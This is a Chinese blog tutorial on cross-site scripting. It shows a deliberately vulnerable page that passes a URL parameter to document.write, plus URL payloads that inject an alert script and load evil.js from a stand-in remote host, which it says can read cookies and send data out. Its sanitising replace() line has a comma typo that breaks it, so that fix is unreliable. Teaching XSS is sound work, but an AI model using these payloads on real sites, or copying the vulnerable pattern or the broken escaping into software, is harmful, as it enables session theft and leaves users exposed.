专栏首页mySouljs跨站脚本
原创

js跨站脚本

xss

跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。

来一个小栗子

 substring 返回介于两者之间的字符串,如果省去最后一个参数,则直接以length为填充

window.location.search 返回/后面内容包括问号

返回?后面的参数 window.location.search.substring(1)

decodeURIComponent() 将url进行解码,返回解码后的utf-8格式

<!doctype html>
<html>
<head>
	<title>这是标题</title>
	<meta charset="utf-8">
</head>
<body>
	<script>
		var name = decodeURIComponent(window.location.search.substring(1));	// 获取参数
		console.log(name);
		document.write("hello " + name);
	</script>
</body>
</html>

访问

http://abc.com:8887/?%20word

本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,因为js脚本不能本地运行,因为有跨域的限制

页面输出

 hello word 

这是一个灰常正经的页面。

下面如果尝试输入

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上现在的浏览器很智能了。。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉以后,由于容错机制,自动生成

好吧,要不是这容错机制,xss还没法实验呢。无奈,现在太智能了,小白的手法,已经不行喽

<script>
</script>

导致能允许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭

https://developer.mozilla.org/zh-CN/docs/Web/HTML/Optimizing_your_pages_for_speculative_parsing

使用的是预解析,自动平衡树

此时script变身成为

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会出现一个弹窗,David

因为使用这个url自动生成一个另外一个脚本,由于浏览器自动的安全措施,所以使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>

事实上,现在基本上都会屏蔽掉的,和sql注入一样,都是非常小白的攻击手法。╮(╯▽╰)╭

导致出现弹窗,xss完成

接着下面还有

使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

这样就完成了一次脚本的注入。会将其他站点的脚本,通过连接进行注入。

可以对该站点的内容做任何的操作,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,通过更改页面的js来达到对页面修改的目的

更多内容 https://www.ibm.com/developerworks/cn/security/se-prevent-cross-site-scripting-attacks/index.html

预防

通过使用replace()全部替换为实体即可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

总结

xss和sql注入一样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

如果一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 中止请求和超时 跨域的HTTP请求 认证方式 JSONP

    作为同源策略的一部分,XMLHttpRequest对象可以发起HTTP请求,由于同源的影响,导致必须是同源的,

    mySoul
  • 学习 | egg.js 中间件和插件

    [wp_editor_md_7ee9bb85a07c7f001ca0a8ed9432368c.jpg]

    mySoul
  • C++ 面向对象 一

    使用内联函数的时候,编译器会进行自动替换,即类似于C语言中的宏。以减少入栈和出栈的操作。

    mySoul
  • 从零开始学量化(三):数据获取途径

    本系列的前两篇都是一些笼统的介绍,供小白制定学习计划时参考,现在该铺垫的都铺垫的差不多了。循序渐进,从本篇开始会写一些能实操的内容,尽量写的很细节,有任何问题欢...

    量化小白
  • GAN提高人体重识别准确率

    论文地址https://arxiv.org/abs/1701.07717内容简介 这篇文章的主要贡献是只使用原始数据集进行半监督学习,提高行人重识别的Basel...

    企鹅号小编
  • 【钱塘号】深度分析大数据在工业4.0智能工厂中的应用

    随着近些年国家工业信息化进程脚步的不断加快,以及国际社会在工业现代化、工业4.0等方面的不断演进,使得大数据技术在工业行业以及制造业方面也进行了比较深度的技术融...

    钱塘数据
  • 资源文件的动态加载

    页面加载 首先,浏览器发起直接对目标html的请求,然后分析其中用到的资源并下载,浏览器有自己的规则来判断什么样的资源可以被并行下载,什么样的不可以,浏览器对加...

    小端
  • 全球最大的3D数据集公开了!标记好的10800张全景图 | 附论文

    原作:Matt Bell 安妮 编译自 Hacker Noon 量子位 出品 | 公众号 QbitAI 你一定不想错过这个全球最大的公开3D数据集。 本文作者为...

    量子位
  • 干货 | 100亿+数据量,每天50W+查询,携程酒店数据智能平台实践

    岳毅,携程高级研发经理,负责酒店数据智能平台研发,大数据技术创新工作。喜欢探索研究大数据的开源技术框架。

    携程技术
  • 资源 | 没有数学和编程基础,这几个数据科学项目了解一下

    今天,文摘菌给大家介绍几个比较有特色的数据科学模块,这些模块原本是一些教师用来进行教学使用,帮助学生有机会使用与其课程相关的数据集,并指导学生进行数据分析以及帮...

    大数据文摘

扫码关注云+社区

领取腾讯云代金券